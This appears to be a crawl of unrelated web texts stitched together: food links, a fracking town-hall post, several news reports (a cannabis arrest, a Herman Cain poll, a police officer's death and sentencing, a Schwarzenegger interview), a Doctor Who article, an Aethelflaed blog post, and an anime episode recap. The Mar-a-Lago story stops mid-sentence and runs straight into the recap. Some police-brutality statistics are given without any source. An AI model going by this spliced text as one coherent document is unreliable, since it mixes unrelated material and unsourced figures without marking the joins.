Tasting Table: First comes a domestic surge in hard cider. Next up, new places that specialize in serving it. — Jeff Gordinier
The Ridiculous Food Society of Upstate New York: This blogger produces homemade bacon and pickles, is obsessed (in a friendly way) with fast food, and also has expertise in Albany-area specialties like riggies, Utica greens, and Genesee Cream Ale. — Julia Moskin
The Guardian: This weekend’s challenge: make chestnut liqueur!
— Jeff Gordinier
National Geographic: New autopsy research shows that the famous Iceman — the 5,300-year-old Neolithic mummy found on an Italian alp — had consumed a large meal of alpine ibex (wild goat) and wheat bread before he was mysteriously slain by an arrow. — Glenn Collins
The Atlantic: The makers of Necco candy wafers give up their effort to use natural flavors and colors after sales drop 35 percent. So people didn’t mind how nasty they tasted as long as they were brightly colored? — Nick Fox
Boston Phoenix: You learn some weird stuff when you decide to become a beekeeper. — Jeff Gordinier
Poetry Foundation: A saucy Grace Cavalieri poem about pizza.
— Jeff GordinierLast week, State Representative Garth Everett held a public town hall meeting in the 84th district, which is located in and around Williamsport, Pa. Since Representative Everett is aiding and abetting the industrialization of rural Pennsylvania, drilling for natural gas – or fracking it out of the ground – is a sticky situation, and his public event brought out his constituents and those from outside his district. voting record mirrors one that is bought off by the Natural Gas Industry. He has voted for Act 13 – the bill that restricts a municipalities right to enforce effective zoning measures against the gas industry, he has also voted to allow drilling on Pennsylvania State University campuses and to eliminate subsidies for renewable energy resources. During the meeting (and in the video below), a resident was complaining to Representative Everett about how his water was contaminated by Range Resources – surprise, surprise – and that the DEP and has essentially kicked the ball down the road, not solving the contaminated water problem (but who here is honestly surprised by that). The man’s story mirrors those in Dimock and in other parts of Shale Country.
During the conversation with his constituent, Representative Everett stays face and tells the man that the problem lies within the DEP, and that the DEP should have initially helped the man. In the middle of the exchange, Raging Chicken Press writer and agitator extraordinaire Wendy Lynne Lee sets the record straight and explains to the crowd that Michael Krancer “the head of DEP is in fact an appointment of the Corbett, and he came from the gas and oil industry. He came from Exelon.” Rising to Krancer’s defense, Everett told Wendy that “[she] could have a meeting somewhere else.” Then Everett asked Wendy if she “would want to stay or leave?” When Wendy replied, asking if Everett would throw her out of the office, he gave the curt response of “absolutely.” After the back and forth Everett comes up to the camera and tells Wendy that the man speaking “is a constituent and you’re a guest.” After Wendy pointed out that she was a resident of the state – and is in fact at a Town Hall meeting open to the general public, Representative Everett – in a condescending tone – explains that Wendy should be grateful that she is allowed in an area that she wasn’t even invited to. To watch the full exchange, please watch the video below. It will begin around the 10 minute mark, and the exchange between Wendy and Representative Everett starts around the 15 minute mark.
(Thank you to Dean Marshall for taking the video)A self-proclaimed "minister of marijuana" says pot is his religion and he has every right to use it. Cops disagree and busted him while pulling 100 plants out of his house.
Steven Swalick doesn't use terms like "pot" or even "marijuana." Those terms appeared to upset him during a jailhouse interview. He admitted to using cannabis and even growing it but says it was for his religion. And he wanted only to be addressed as the "Reverend."
"It is the tree of life," said Swalick. "I've come to realize that the oil that is in that seed will provide nourishment for your whole body. You will need no other food."The 56-year-old Swalick claims he has practiced a religious belief that requires the use of cannabis since he was 15-years-old. He claims to be an ordained minister. He calls his home a sanctuary of sorts for a religion called the "Hawaiian Cannabis Ministries.""You have the right to use an otherwise illegal sacrament in a religious practice if it is mandated within your religion," he said.
The Palm Bay police department's SWAT team raided Swallick's home, Wednesday afternoon, seizing 107 plants, along with all sorts of equipment used to grow and harvest them. Police say it would be worth $100,000 on the streets.
Swalick said it wasn't being sold, but rather grown for religious ceremonies.When the word "marijuana" was used, he became upset."We do not use that word," he said. "Please forgive me and I'll apologize for you. The word is cannabis. It's the holy sacrament recognized by the Bible."Swalick now faces felony drug charges, which he believes will eventually be cleared under constitutional religious protections."I can not be convicted by man. I answer to the Lord," he said.Bond was set at $20,000.
[Via - WFTV.Com]
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Quite Possibly, The Best Article On Affiliate Marketing Ever WrittenRepublican presidential candidate Herman Cain file,AP Photo/Haraz N. Ghanbari
Herman Cain's poll numbers dropped for the first time since revelations last week that he was accused of sexual harassment more than a decade ago, a poll released Sunday showed.
The poll, conducted by Ipsos for Thomson Reuters, showed the former pizza chain restaurant executive's favorability rating among Republicans fell to 57 percent from 66 percent a week earlier.
Cain's favorability among all registered voters fell to 32 percent from 37 percent. The poll is the first national poll to show the scandal taking its toll on the candidate's ratings, though it should be noted that the poll was conducted online. Online polls are typically much less reliable than traditional telephone polls.
A Washington Post telephone poll conducted in the first four days after the revelations were made public Oct. 30 showed that Cain's support was still holding strong and had him virtually tied with former Massachusetts Gov. Mitt Romney.
In the Ipsos online poll, Cain fell behind Romney, who garnered a 63 percent favorability rating among Republicans, while Texas Gov. Rick Perry took 47 percent.
Exhaustive media coverage of the charges of sexual harassment during Cain's tenure as head of the National Restaurant Association in the 1990s has boosted Cain's name recognition and helped him raise campaign cash from small donors.
His campaign said he raised $1.6 million in the first five days after the scandal broke.
And Cain says the ordeal has been harder on his wife than on himself, and he's still "in it to win it."
More than 80 percent of respondents have heard of the charges against Cain, according to the Ipsos for Thomson Reuters poll. About 88 percent of Republicans had heard of the charges, compared to just 64 percent of independents.
Roughly 40 percent of all poll respondents said the revelations had made them less likely to see Cain in a favorable light, while about 35 percent of Republicans said so.
There were about 1,007 participants in the online poll conducted on Friday and Saturday.
"Since it was an online poll, typical margins of error do not apply. Despite that, various recognized methods were used to select as representative a sample as possible and weigh the results," the Reuters news agency, which commissioned the poll from Ipsos, wrote.A quadriplegic man was spared jail Monday as a Newmarket judge handed down his sentence for the first-degree murder of York Regional Police Const. Garrett Styles.
Const. Garrett Styles was standing beside a minivan during a traffic stop in East Gwillimbury in June 2011 when the vehicle suddenly accelerated and dragged him about 300 metres before losing control and rolling on top of him. ( THE CANADIAN PRESS )
Justice Alex Sosna decided to avoid a custodial sentence altogether and his ruling gave the accused, only identified as S.K. due to his age at the time of the slaying, a nine-year, community-supervision order, during which he can remain at his family’s Newmarket home. Although the Crown was requesting that S.K. be placed in an open-custody residence in Milton for five years, the judge said he was not satisfied the facility could properly care for the 19-year-old’s significant medical needs. “A custodial sentence will not make him more accountable,” he said, noting just how precarious S.K.’s medical condition is. “He’s a prisoner in his own body and is already serving a life sentence.”
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After the verdict, a York Regional Police news release quoted Melissa Styles, Garrett’s wife, denouncing the sentence: “My children and I have been given a life sentence to have to live without Garrett, and we were not found guilty of anything. This sentence is a huge letdown.” Garrett’s father Garry Styles, himself a former sergeant with the same force, added in the same release: “It appears to us that a police officer’s life means nothing in the eyes of justice. As a former police officer, I find the sentence imposed to be lacking and opening the door to further tragedies involving police officers just doing their sworn duty.” The trial has been a contentious one from the beginning, not only because of the circumstances of the crash that led to Const. Styles’ death, but also the age of the offender and the condition S.K. was left in. It was June 28, 2011, that both families’ lives were forever altered. After organizing with acquaintances over social media to go out together that night, S.K., then 15, took his parent’s minivan and picked up three friends.
The four ended up joyriding around Newmarket, stopping at Tim Hortons, the Upper Canada Mall parking lot and other spots, usually smoking cigarettes before moving on. Hours after originally taking the vehicle, while his parents slept, S.K. decided to drive home the only female passenger. On their way to her East Gwillimbury home at 4:30 a.m., the car was stopped doing almost 150 km/h — nearly 50 km/h over the limit.
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Const. Styles approached the van and advised S.K. — who had been caught illegally driving the minivan by police before — that it would be impounded. After initially giving a false name and address and then begging the officer to let him and his friends go, the car took off with Const. Styles across S.K.’s lap and the door wide open. Some 300 metres later, the vehicle veered to the left, hit a ditch, flipped, rolled and landed on Const. Styles, crushing him. In his final call to dispatchers, he expressed worry about the other youths in the vehicle before his death. In the front seat was S.K., who was left a quadriplegic, with some movement in his arms, but little in his hands. Along with S.K.’s identity, the names of the other three youths then in the vehicle remained secret until now because they were youths at the time of the crime. However that privacy may now shift after Justice Sosna further sentenced S.K. to speak at three events a year about the cause of his injuries, the results and the impact on those around him, to act as a deterrent. When a jury found S.K. guilty of first-degree murder in June, there were emotional scenes including his mother bursting into tears, yelling and screaming in court. S.K.’s mother was not present at the Newmarket courthouse Monday as Sosna explained that a first-degree verdict was imposed not because of premeditated thought or malice, but because Const. Styles was an officer executing his duties at the time of his death. When the Crown and defence made their final submissions earlier this month, Melissa Styles told the court of the pain she and her two small children have faced without her husband in their lives. “Garrett was my best friend, my partner in life and the father of my children. He was my first love. He had green eyes and a set of dimples that would melt your heart when he smiled,” said Styles’ widow. “Garrett was a kind and humble man with a dry sense of humour.” About the sentence Justice Sosna said he took the view that S.K. had paid a plentiful price for his actions already. “It’s been pressed upon him every day since the crash four years ago,” he said, explaining that while the crash “shattered and devastated” the Styles’ family, S.K.’s injuries would remain with him forever. “By his own folly he was rendered a quadriplegic. That will continue for the rest of his life.”Doctor Who series 10 episode Thin Ice transports the Doctor and Bill back to London, 1814, and the last of the capital’s historic Frost Fairs – impromptu parties on the frozen River Thames, which took place numerous times during Britain’s so-called Little Ice Age.
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It’s a new and unique experience for Bill, but something the Doctor admits he’s done “a few times” before.
As we pointed out after the episode, one of those times was with River Song, who – still sporting the Regency outfit she wore on the trip – wistfully tells Rory during 2011’s A Good Man Goes To War that the Eleventh Doctor has just taken her on a special birthday outing.
“It’s my birthday. The Doctor took me ice-skating on the River Thames in 1814. The last of the great Frost Fairs. He got Stevie Wonder to sing for me under London Bridge.”
And that, of course, raises the tantalising prospect that we were potentially just a whisker away from the first face-to-face meeting between the Eleventh and Twelfth Doctors.
Sadly it didn’t happen, but just how close a call was it? There are a number of factors to consider…
It’s the same year, yes, but the last Frost Fair lasted for four days before the river (Thames, not Song) thawed. And although we know that Bill and the Twelfth Doctor arrived on the final day – “last day before the thaw,” the Doctor tells her after relocating the Tardis, “thought we better find a more reliable parking spot” – we don’t know exactly when River and the Eleventh Doctor were there.
At this early stage in the Twelfth Doctor and Bill’s companionship, you’d think he would try to avoid bumping into himself with a different face (Bill already asks a lot of questions). On the other hand, it’s not at all clear that he’s even capable of piloting the Tardis that accurately through time (“you don’t steer the Tardis, you reason with it… unsuccessfully most of the time”). After all, the Frost Fair was supposedly not his intended destination: “Back at the exact moment we left,” he assures Bill confidently, before stepping outside to find not a 21st-century Bristol university campus but 19th-century London.
If the Doctor can be off by over 200 years, what are the chances of him getting the right day – and if he has no control over which day they’ve arrived on, that means there’s a one in four chance that it’s the same day as River and the Eleventh Doctor.
Even then, though, they’d have to be in the right place as well as the right time. So how likely is that?
River says Stevie Wonder sang for her “under London Bridge”, so the question is, were the Twelfth Doctor and Bill anywhere near there?
When the river froze over, it generally began in earnest at Old London Bridge (demolished 18 years later in 1832), where ice broken off from the banks caught at the feet of its narrow arches, freezing the slower water.
When they arrive, the Doctor and Bill certainly step down on to the ice from a bridge, but is it the bridge? Comparing the arch we see in the episode with contemporary drawings and paintings of Old London Bridge, it’s hard to say for sure whether they’re one and the same – the real bridge had some curved arches like this one and some more angular ones. But luckily the Tardis has given us a very big clue to the Doctor and Bill’s location.
After they first land and realise where they are, the Doctor darts back inside the Tardis and examines the area on one of the view screens. It very helpfully shows us a map of the Thames indicating the position of a mysterious and very large life-form (which we later find out is the giant fuel-excreting fish which has been chained to the river bed by the evil Lord Sutcliffe).
The Doctor and Bill have materialised on the ice right above the creature’s head – and if we cross-reference that point on the Tardis map with a map of the Thames from 1814 we can see that it matches exactly the location of the Old London Bridge, at Southwark.
So the bridge we see behind the Doctor and Bill almost certainly is Old London Bridge, meaning they are just feet away from where River Song and the Eleventh Doctor heard Stevie Wonder sing.
The year is right, the place is right and the timing – well, it’s certainly close, giving a one in four chance that the two Doctors were this close to crossing paths.
Of course, the Doctor told Bill that he had visited the Frost Fair, not once before, but “a few times” – and he wasn’t making it up.
In a short story that formed part of the official Doctor Who website’s 2007 advent calendar, The Tenth Doctor and companion Mai Kondon visit the very same Frost Fair in 1814. In the Big Finish audio adventure Frostfire, the First Doctor goes there with Steven and Vicki (to meet another Who favourite, Jane Austen). In series eight TV episode The Caretaker, the Twelfth Doctor promises to take Clara to the Fair. And in Doctor Who novel The Silhouette, he finally does (even if there are some possible discrepancies with the timing in that case).
So in fact, there were at least four Doctors wandering around the 1814 Frost Fair, meaning the the potential for some version of a multi-Doctor episode was pretty significant – and we could feasibly have ended up with the Tenth Doctor meeting the First, the Eleventh and two Twelves.
Now that really would have left Bill with some questions…
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Doctor Who continues on BBC1 on Saturday 6th May at 7:20pmPolice brutality has been increasing over the years and every year several cases get registered due to the cruelness of police in various countries.
Police officials when surveyed about the brutality, 43% said that following rules with not get the job done, 25% officials stated that usually police officer harasses a citizen based on his/her race.
According to survey, it was stated that more than 79% of police officers are not satisfied with the laws related to judicial system to arrest a criminal and 84% of police officials have witnessed that superior officers make use of external force to arrest a person for indulging in criminal activities.
Every year cases are filed against 9.5% city police, 3.4% sheriff officer's, 2.9% of country police and 1.3 % of state police for their misconduct.
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India vs US Crime Statistics Infographics
Evolution of Technology TimelineToday is the 1097th anniversary of the death of my favourite individual from the Dark Ages.
I refer, of course, to the Anglo-Saxon princess Aethelflaed, the Lady of the Mercians. She was the daughter of Alfred the Great, king of Wessex, and sister to his successor Edward the Elder.
Aethelflaed married Aethelred, the ruler of Mercia in the western midlands of England, and joined him in a programme of fortress-building that strengthened his people’s defences against Viking raids. After Aethelred died in 911, his widow became sole ruler and – unusually for a woman in those times – a commander of armies in the field. She led military campaigns in person and achieved several major victories. Working in tandem with her brother Edward, she not only held off the Viking menace but won back a number of conquered territories in eastern England.
As part of her wider anti-Viking strategy, she formed a three-way alliance with the kings of Alba and Strathclyde. This northern and Scottish dimension is one of the reasons why I have long been fascinated by her career. Another reason is her connection with Mercia, my homeland, which she governed and protected during a time of great peril and uncertainty.
She died on 12 June 918, at the ancient Mercian settlement of Tamworth.
I’ve mentioned Aethelflaed here at Senchus quite a few times and, six years ago, devoted a blogpost to her. Last year I wrote about her again, at one of my other blogs. Here are the links to those posts…
‘The Lady of the Mercians’ [Senchus blog, 2009]
‘Aethelflaed’ [Strathclyde blog, 2014]
Her alliance with the Scots and Strathclyde Britons is described in a medieval text known as The Fragmentary Annals of Ireland. The passage in question gives an idea of the high regard in which she was held by contemporaries in lands far beyond the borders of Mercia. The relevant passage, with an English translation, can be seen in my blogpost on the Fragmentary Annals.
I also recommend Susan Abernethy’s article ‘Aethelflaed, Lady of Mercia’ and Ed Watson’s ‘Aethelflaed: the making of a county town’.
I discuss Aethelflaed and her relations with the northern kings in my book Strathclyde and the Anglo-Saxons in the Viking Age (on pages 58-63).
* * * * * * *
AdvertisementsFighting climate change was a lonely undertaking at times for Arnold Schwarzenegger while he was the last Republican governor in the liberal state of California. The landmark global warming law he championed more than a decade ago received only a single vote from a member of his party in the Legislature.
He relied on Democrats to seal the deal, providing the foundation for the state’s cap-and-trade program, which requires companies to buy permits to release greenhouse gas emissions. But the political landscape is different now, and Gov. Jerry Brown ’s successful bid to extend the program received eight Republican votes on Monday.
We spoke to Schwarzenegger about it on Tuesday morning.
How does it feel to see increasing bipartisan support for an issue you’ve championed?
Our political reforms have taken hold here in California, and the redistricting and the open primaries have brought people to the center. We have seen more Republicans voting on issues that they usually thought were Democratic issues. That’s a bunch of nonsense, because how can the environment be a Democratic issue?
It’s great to see Republicans coming more to the center and help pass this very important legislation, in the Senate and also in the Assembly. That was only a dream of mine when I did the environmental laws in 2006. There was just no one there for Republicans. I’m really proud of them. The Republican Party has moved forward in a big step.
This could be a really great inspiration for other Republicans around the country. To look at this and say they had the guts to do something that is right. Why don’t we try to do what is right, not just what is right for the party, but what is right for the people?
Gov. Jerry Brown, center left, flanked by Republicans who voted for the cap-and-trade extension: Assembly GOP leader Chad Mayes of Yucca Valley, Sen. Tom Berryhill of Modesto and Assemblyman Devon Mathis of Visalia. (Rich Pedroncelli / Associated Press)
What kind of conversations did you have with Assembly Republican leader Chad Mayes before the vote?
We met beforehand. He’s a terrific guy. He has a great vision. Whenever you do something like this and do something that’s right for the people and not necessarily right for the party, they beat up on you. They accuse you of being a Republican in name only, or that you sold out.
I come from Austria. There’s always something stuck in you from when you grow up. I grew up in a great environment.... It was natural for me to fight for that, and not look at it as a party issue and look at it at a people issue.
https://twitter.com/Schwarzenegger/status/887366979908124673
https://twitter.com/ChadMayesCA/status/887392411978055680
You’ve been critical of President Trump ’s stance on climate change. What message do you hope he takes from California’s vote?
This is a great inspiration to every state and to the federal government, and to Trump himself. This should be an inspiration to the rest of the world.
Everyone loves California. It’s such a well-known place. It’s kind of a nation state in a way. This will spread like wildfire. I know the German papers and the Austrian papers and the French papers are all going to go and report on that.
chris.megerian@latimes.com
Twitter: @chrismegerian
ALSO
California Legislature extends state's cap-and-trade program in rare bipartisan effort to address climate change
The fight against climate change in California gains an unlikely ally: RepublicansWhen the State Department published a glowing profile of President Donald Trump’s “winter White House” at Mar-a-Lago in April, they thought it would be a mundane bit of content that might attract a few foreign readers to U.S. embassy websites. Instead, staff found themselves embroiled in a heated controversy over the use of government resources to promote the president’s private business interests, according to a review of internal emails.
The post from ShareAmerica, a news and information division of the State Department, provided a brief history of the Mar-a-Lago property and noted Trump’s use of his club early in his presidency to host high-level meetings with foreign leaders.
“By visiting this ‘winter White House,’ Trump is belatedly fulfilling the dream of Mar-a-Lago’s original owner and designer,” the post read.
It took nearly three weeks for the post to gain much attention. But when it did, the backlash was swift. In late April, a reporter at the State Department press briefing asked why the department was using government resources |
embedded in her body, her own flesh is practically just another layer of armor. Does this mean she’s basically invincible as long as the shards of Gungnir in her heart don’t break?
Part of me was hoping Hibiki would get an Evil Dead style chainsaw arm or something. Groovy.
Hibiki is better, but Mom is getting worse.
Like Hibiki, she passed out from the strain. Maria rushes to Mom’s side as sad music plays.
Cherry Coke and Sprite are… less than enthusiastic. But because it was Maria who asked them, they agree to go find Dr. Ver to help Mom. They run out of the plane while Maria stays to take care of Mom.
All because what?
Handle WHAT of Finé, Maria??
This is the most baffling fumble of “show, don’t tell” I’ve seen. We’ve been told multiple times that Finé is slowly taking over Maria, but we’re almost halfway through the season and we’ve been shown zero evidence to believe this.
Honestly, why do the other characters think Maria is Finé’s next reincarnation? Maria shows none of Finé’s personality, memories, abilities, relations to the other characters, or even Finé’s speech patterns.
It would be easy to dismiss this as “Symphogear just didn’t think it through.” But that would be false. And this is where the baffling aspect comes in. Because Symphogear did think it through. This anime excels at character writing, and on top of that, one of the most enjoyable things about this season so far is its many well-planned little continuity callbacks to the first season, including callbacks to Finé.
Symphogear competently shows us other aspects of Maria’s personal conflicts. Her friction with Mom and Dr. Ver, her cloaked vulnerability, her refusal to kill innocents, her prideful antagonism with Tsubasa, and her grief over Serena and attempts to live up to Serena’s legacy. Finé is the one thing we HAVEN’T seen Maria handle, which is why it’s hard to sympathize with Maria about it in this scene.
Finé is trolling us from beyond the grave.
Maria is a well put together character. That’s why the anime’s failure to properly show the audience the Finé-possession deal is so confusing to me.
We know Symphogear thought this through, because the anime put so much effort into tiny details surrounding Maria to support the idea that she is struggling against becoming Finé. Just look at how the anime uses Finé’s leitmotif in scenes where Maria is torn over committing evil acts. Or how Finé’s Kadingir was chosen as the site for tonight’s pivotal confrontation. Or Maria’s flower motif in her concert dress, her hair clips, her bath robe – Dr. Ver even called Maria “the flower that is still a bud” once – invoking the flower’s symbolism of blooming/transformation that would indicate Maria is headed toward a transformation into Finé’s possession.
Heck, even look at Maria’s everyday outfit!
It looks bizarre at first, but it is deliberately and cleverly designed in fragmented, overlapping, exposed layers, as if Maria is shedding her skin or molting out of a cocoon. Her visual identity as a character in transition is heavily supportive of the Finé-takeover theme.
How is Symphogear putting so much effort into including tiny Finé details surrounding Maria while also forgetting to include major Finé details surrounding Maria?? There must be a reason.
It’s like the anime set the table, folded the napkins, laid out the plates, silverware, and extra tiny forks, lit the candles… and then forgot to put the actual food on the plates. No matter how well-crafted or elegant the surroundings, we’re missing the essential component.
Symphogear, why did you bring Finé back if you aren’t going to bring Finé back?
It’s awful for me to hope Finé actually does begin to take over Maria, because the poor girl doesn’t deserve that. But on the other hand, Finé better start displaying in Maria, because at this point it’s just too weird for her not to. If we get to the end of the season and Maria still hasn’t shown any of Finé’s personality or memories, then I’m shuffling this plot point into a big What Was The Point discard pile at the edge of the card table.
Back at Section 2’s base, Hibiki is still unconscious after the battle. She’s wheeled in on a gurney while Snoop Oni and the others look on in concern. Tsubasa even punches a wall and grimaces, worrying Chris.
Hibiki lies in the hospital bed and flashes back to…
…Hooo boy, here we go.
Grayscale flashbacks usually spell Pain. This scene ain’t gonna be pretty, is it.
Hibiki remembers the time two years ago, when the Noise massacred Tsubasa and Kanade’s entire concert audience, when Hibiki took the wound to the heart which embedded Gungnir in her, and when Kanade died to save her.
Once Hibiki recovers enough to return to school, her classmates leave accusing newspapers on her desk with articles about how the families of those who died at the concert are looking for someone to blame.
What the fuck. Looking for someone to blame in the wake of a disaster is understandable, but blaming Hibiki for being a survivor?? Unspeakably low.
Her classmates gossip loudly, making sure Hibiki overhears, as they mock her for wasting tax money. This society has some sort of tax-funded public restitution, for which survivors of Noise attacks can apply to help them recover. The other students accuse Hibiki of leeching off this fund to pay for her hospital bills and physical therapy after the chest injury that nearly killed her.
How dare you make Hibiki believe she’s responsible for others’ deaths, that her life is a waste. Good grief, no wonder the poor girl grows up with self-esteem issues!
Also, now I’m even more glad Chris and Tsubasa held Hibiki back from killing Dr. Ver earlier. If she’s already haunted by misplaced survivor’s guilt over “killing” those concert victims, then killing him would’ve snapped her like a back-bent paperclip.
Hibiki trudges home after school. Her house is papered in more hate messages calling her a murderer and a thief. People even hurl rocks at her family from outside, breaking the windows.
I’m at such a twitching-temples level of upset right now that I can’t even allow myself the enjoyment of finally getting to see Hamster’s mom and grandma.
Her grandma even looks adorably like her, with the hairstyle and clips!
STOP PUTTING TINY CUTE DETAILS IN, SYMPHOGEAR, IT ONLY MAKES THIS SCENE MORE PAINFUL
This harassment from Hibiki’s classmates and neighbors is appalling.
Hibiki is like, thirteen in this flashback. If they don’t want their tax money to go toward medical expenses for SAVING THE LIFE OF A 13 YEAR OLD, what the heck do they consider a good way to spend taxes?
On top of that bullshit, this complaint of wasted taxes comes from a bunch of middle schoolers who have never filed a tax return. I for one am a Certified Adult™ and can rest assured that my taxes go toward healthcare and civil services and that sort of thin–
Anyway, Hibiki’s mom and grandma probably pay taxes just like other citizens. So the two of them contributed toward Hibiki’s recovery same as Random Asshole Classmate’s parents did.
But, as the newspapers tell us, people want someone to blame.
No one could’ve known back then that Finé orchestrated the Noise attack at the concert. Noise attacks have been likened to a natural disasters a few times. Grieving people wanted a convenient outlet for their anger the same way real-world scumbags blame minorities for hurricanes or plagues. That they picked a wounded teenager to vent on shows what kind of people they really were.
Was Hibiki was the only target of this abuse? I always assumed Hibiki and Tsubasa were the sole survivors of that concert. I wonder if Tsubasa got any hate, or if her idol status shielded her from it, and ordinary people instead romanticized her as a tragic figure for losing her idol partner in the attack.
I’m glad Hibiki’s family still loves and supports her through the abuse. This loving embrace brings the flashback to a close, which is nice because it’s the first shot in this entire miserable flashback that doesn’t twist rusty screws into my throat.
But, if they love Hibiki so dearly… why are they not in her life now? Hibiki only mentioned her mom and grandma once. And no mention of any dad or siblings. She said a few times that Miku was the only person close to her before joining Section 2. Did… did something happen to Hibiki’s family after this scene?
It’s a worrying thought. But you know what about this flashback really brings me to tears?
It’s the fact that Hibiki was ostracized, abused, victim-blamed, even told she should kill herself… and yet she still believes people are inherently good.
Hibiki emerged from this noxious puddle of humanity’s worst, still loving humanity for its best. She fights to save others, even strangers, when some of those strangers were the same people who mistreated her.
She risks her life to help others, not just because she wants to prove she’s good enough to keep living after they tried to tell her she wasn’t, but because she actually does believe the world is worth saving.
Based Hamster-Jesus. Tears of pain become tears of admiration. This is our hero.
Hibiki could’ve come out of this traumatizing experience a completely different person than she is now.
She could’ve come out of it a bitter, angry, violent girl. A girl who thinks ideals and platitudes about goodness are empty, who hates so-called “heroes” who try to help others without acknowledging the hypocrisy she’s seen from so many people who claim to do good but only do harm. Someone who’s been a victim of the worst of this world and wants to destroy it.
…Do we know anyone like that?
Ah shit.
I Get It Now. One of this season’s themes so far has been the Opposing Parallels between characters, or the Shadow Self. People who have so much in common but fall on opposite ends of the conflict. Some shadow match-ups, like Maria versus Tsubasa, are clear. But Shirabe taking the role of Hibiki’s shadow confused me at the start of the season.
It seemed so… asymmetrical? Like, what parallels did Hibiki and Shirabe have? Why was the anime spending so much screen time showing interactions between these two?
But learning more about Hibiki’s past shines a light on why Shirabe was picked for Hibiki’s main opponent instead of Maria, who would make sense as Hibiki’s opposing team captain and fellow Gungnir wielder. Hibiki could’ve become another Shirabe.
Shirabe has good intentions, or did at one point in her life, before whatever as-of-yet-unrevealed horrors she suffered. Despite her Slice It Up mentality, she and Kirika told Hibiki they want to “protect the things that justice cannot protect.” If Hibiki realizes she and Shirabe have things in common, and if Shirabe is willing to listen and give heroism another chance, maybe Shirabe could step out of the shadow antagonist role and join the good guys.
Here’s hoping! People who hate humanity usually hate themselves deep down, too. Shirabe deserves a better life than that. Hibiki was emotionally abused into her low sense of self-worth, and it still haunts her, as this flashback shows. Offering a hand to Shirabe will hopefully allow Shirabe to yank herself out of the same misery.
After the flashback, Hibiki wakes up in a Loss edit.
Miku left a note on her bedside while she was asleep.
Doubts fill Hibiki. She worries that maybe she isn’t a hero after all, that maybe she’s only hurting others just like Shirabe accused her, just like Those Assholes In Middle School accused her.
GUNGNIR GIRLS BLAMING THEMSELVES FOR NOTHING: THE EPISODE
I want to pelt them with skittles until they see sense. But as upset as I am, I must acknowledge these girls are dealing with some Serious Shit that I couldn’t even imagine dealing with, so understandably they have issues to sort out because of it.
It’s nice to see a little mirroring between Hibiki and Maria. Both are doubting themselves and shouldering blame for catastrophes that were never their fault. Hibiki and Maria have barely interacted, again because when it comes to character conflicts Maria pairs with Tsubasa and Hibiki pairs with Shirabe, so it’s interesting now to see some commonality between them.
So yeah, Hibiki doubting her worth as a hero is appropriate from a character structuring standpoint given the flashback we just saw, but oh how it hurts. We rolled off that heartbreaking flashback right into more heartbreak once Hibiki woke up. Pain train has no brakes.
I mean, how can she even THINK such a thing??
Precious Hamster, so many people are alive because of what you’ve done. You helped Tsubasa forgive herself and want more for her life than battle, you showed Chris that it’s never too late to accept an open hand and come back to the light, you helped Miku become a braver person who is inspired to protect what she loves, you rescued countless lives from Noise attacks, you saved the entire planet from Finé’s apocalypse, and your kindness even let Finé die with a peaceful smile on her face after living such a hate-filled life.
Why can’t you SEE how wonderful you are, Hibiki?
I guess if our heroes never doubted themselves, they wouldn’t be heroes. We’ve seen the type of person who doesn’t doubt themselves even after doing horrible shit.
Don’t be that guy.
At school in the morning, Hibiki tries way too hard to put a good face on the whole Got My Arm Chewed Off But All Good Now trauma. She’s happy and bubbly with Tsubasa and Chris as usual, but it’s clearly a front.
Tsubasa sees through the act. Because Tsubasa is an expert at hiding pain.
Tsubasa flashes back to last night’s meeting while Hibiki was unconscious. Snoop Oni and the rest of Section 2 talked with other government officials about Dr. Ver’s shocking reveal of the impending moon disaster.
Thanks for the big red Serious Damage warning, in case we couldn’t tell that the moon crashing into the planet would be a bad thing.
We should start putting Serious Damage labels on other devastation, too.
STILL NOT OKAY WITH THAT, BY THE WAY
The meeting between Section 2 and the government officials confirms that Dr. Ver wasn’t lying about the moon-fall. Still no word on why the moon would be falling all of a sudden, but the reason is probably immaterial at this point.
You know what, fine. No more argument from me on this particular point. If the moon can be the source of an ancient Babylonian curse, then the moon can also change its orbit whenever it feels like it. Do not question the mysterious floating sky orb, it sees All.
That Serious Damage label wasn’t big enough. The moon is over 2,000 miles across, nearly as wide as Australia. An Australia-sized rock crashing into us would wreck the entire planet, not just the area of direct impact indicated in red. This would be mass extinction on a level never seen before. The meteoroid that led to the dinosaurs’ extinction was only six miles across. SIX.
I don’t see what anyone could do to survive such a disaster, short of hitching a ride on Elon Musk’s colonization of Mars.
How long do we even have? The projection on Snoop Oni’s screen implies we’re only a couple days from touchdown, but it’s not specifically stated.
The government officials bicker about what to do, and come to no useful conclusions. Their inability to act frustrates Snoop Oni.
If government bureaucrats couldn’t solve the problem, why do the terrorists think the Nephilim will? I get why the FISt would lose faith in any government being able to protect them, considering how useless the officials in this scene are. But how does summoning lots of Noise and having a giant flesh-eating monster under your command result in saving people from getting destroyed by a 2,000 mile rock?
After the frustrating meeting that goes nowhere, Snoop Oni and Tsubasa talk privately about another problem: how Hibiki regenerated her arm.
Wait what, we’re actually coming back to the issue of the Miracle-Gro arm? We’re actually going to find out why it was so easy for Hibiki to recover, we’re not just dismissing the huge important injury??
Thank you, Symphogear!
Fuck you, Symphogear.
Snoop Oni tells us that just like last season, Hibiki’s unique attribute of having her Relic embedded inside her is leading to the Relic slowly overtaking her. I thought Hibiki purified Gungnir’s corruption of her body in the Season 1 finale. But because we haven’t already had enough bad news this episode, the corruption is back for seconds, and this time it wants the whole dish.
Snoop Oni shows Tsubasa a calcified piece of Hibiki’s body that the doctors removed while Hibiki was unconscious. The chunk of flesh isn’t even recognizable, just a spiky black rock. Tsubasa’s hands shake as she thinks of the fusion taking complete hold and Hibiki’s entire body being reduced to an inhuman Relic-rock.
Interesting in that it’s another facet to Hibiki’s mirroring with Maria. Like Hibiki, Maria is slowly losing herself and being overtaken by evil influence via use of her Gungnir. (Or so we’re told about Maria, anyway. Come on, anime, throw me a bone here. Or a butterfly, rather.)
Snoop Oni wonders that without Hibiki’s strength, how will Section 2 stop the terrorists?
PREACH
Tsubasa can’t let the fusion overtake Hibiki. She resolves not to let Hibiki fight anymore, to avoid using Gungnir and opening Hibiki to more corruption, the same way Kirika and Shirabe volunteered themselves for a dangerous mission to spare Maria.
This is the worst plan you could come up with, Tsubasa.
Team Rainbow needs to, you know, be a TEAM. Communication, honesty, working together, leaning on each other’s strengths to counter your own weaknesses, all that vital stuff!
Tsubasa doesn’t even consult Hibiki. Tsubasa just makes the decision on her own to invalidate Hibiki’s agency and prevent her from fighting. Have they even told Hibiki the full extent of her condition and the risks it poses?
